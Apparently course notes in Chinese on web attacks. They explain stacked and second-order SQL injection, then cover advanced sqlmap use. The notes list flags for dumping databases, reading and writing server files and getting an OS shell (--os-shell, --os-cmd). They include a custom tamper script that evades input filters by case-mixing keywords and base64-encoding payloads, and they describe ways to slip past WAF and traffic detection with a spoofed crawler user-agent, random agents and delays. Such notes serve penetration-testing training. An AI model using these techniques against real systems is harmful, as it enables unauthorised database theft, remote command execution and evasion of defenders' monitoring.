Web攻防-SQL注入二次攻击堆叠执行SQLMAPTamper编写指纹修改分析调试
知识点:
1、Web攻防-SQL注入-堆叠&二次注入
2、Web攻防-SQL注入-SQLMAP进阶使用
一、演示案例-WEB攻防-SQL注入-堆叠注入&二次注入
堆叠注入
堆叠注入触发的条件很苛刻,因为堆叠注入原理就是通过结束符同时执行多条sql
语句,例如php
中的mysqli_multi_query
函数。与之相对应的mysqli_query()
只能执行一条SQL
,所以要想目标存在堆叠注入,在目标主机存在类似于mysqli_multi_query()
这样的函数,根据数据库类型决定是否支持多条语句执行.
1、目标存在sql
注入漏洞
2、目标未对";
"号进行过滤
3、目标中间层查询数据库信息时可同时执行多条sql
语句
支持堆叠数据库:MYSQL、MSSQL、Postgresql
等
二次注入
原理:注册(写入payload)-登录后修改-修改时以当前用户名为条件触发
黑盒思路:分析功能有添加后对数据操作的地方(功能点)
白盒思路:insert后进入select或update的功能的代码块
注入条件:插入时有转义函数或配置,后续有利用插入的数据
正常用户注册、登录、修改密码操作
二次注入
二、演示案例-WEB攻防-SQL注入-SQLMAP&Tamper使用
1、SqlMap使用
参考:https://www.cnblogs.com/bmjoker/p/9326258.html
2、数据猜解-常规数据获取&库表列数据&字典
获取当前数据库
--current-db
根据数据库名获取对应的表名
--tables -D "数据库名"
根据数据库名及表名获取对应的列名
--columns -T "表名" -D "数据库名"
获取具体的列名数据
--dump -C "email,username" -T "表名" -D "数据库名"
跨库注入
--dbs //获取所有数据库名
3、高权限操作-文件&命令&交互式
引出权限大小
--is-dba
引出文件-读
--file-read
引出文件-写
--file-write --file-dest
引出命令-执行命令
--os-cmd=whoami
引出命令-交互式命令
--os-shell
引出命令-执行sql语句
--sql-shell
4、提交方法-POST&Cookie&JSON
对POST数据进行注入
--data ""
对cookie数据进行注入
--cookie ""
对整个数据包进行注入(推荐)
-r 1.txt
5、绕过模块-Tamper脚本-使用&开发
测试:base64注入
--tamper=base64encode.py
测试:base64+json注入
测试:base64+json注入&再加有过滤的注入
--tamper=test.py
from lib.core.convert import encodeBase64
from lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef dependencies():
passdef tamper(payload, **kwargs):if payload:
payload = payload.replace('SELECT','sElEct')
payload = payload.replace('select','sElEct')
payload = payload.replace('OR','Or')
payload = payload.replace('or','Or')
payload = payload.replace('AND','And')
payload = payload.replace('and','And')
payload = payload.replace('XOR','xOr')
payload = payload.replace('xor','xOr')
payload = payload.replace('SLEEP','SleeP')
payload = payload.replace('sleep','SleeP')
payload = payload.replace('ELT','Elt')return encodeBase64(payload, binary=False) if payload else payload
6、分析拓展-代理&调试&指纹&风险&等级
后期分析调试-显示调试信息
-v 0-6
0、只显示python错误以及严重的信息。
1、同时显示基本信息和警告信息。(默认)
2、同时显示debug信息。
3、同时显示注入的payload。
4、同时显示HTTP请求。
5、同时显示HTTP响应头。
6、同时显示HTTP响应页面。
后期分析调试-联动代理进行调试分析
--proxy "http://127.0.0.1:8080"
--proxy=http://127.0.0.1:1080
打乱默认指纹-绕过流量设备识别sqlmap-自定义user-agent
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www/baidu.com/search/spider.html)
打乱默认指纹-绕过流量设备识别sqlmap-随机user-agent
--random-agent
打乱默认指纹-绕过流量设备识别sqlmap-设定两个HTTP请求的间隔时间
--delay 默认是没有任何间隔,有waf的话,会直接拦截,因为sqlMAP在一瞬间发包量很大,WAF会认为是DD攻击,这个时候就可以利用这个参数绕过或者直接修改SQLMAP的user-agent
使用更多方式类型注入-执行的测试水平等级
--level 1-5
默认是1,cookie需要等级2,HTTP头注入要3以上才行,如果前三个等级都没有找到有效的注入点,可以考虑使用Level 4和Level 5进行更全面的探测。这些等级会使用更多的payload和复杂的注入技术,如联合查询注入、堆叠查询注入等
使用更多方式类型注入-执行的测试风险等级
--risk= 1-3
共有3个等级,对测试的语句有影响,默认为1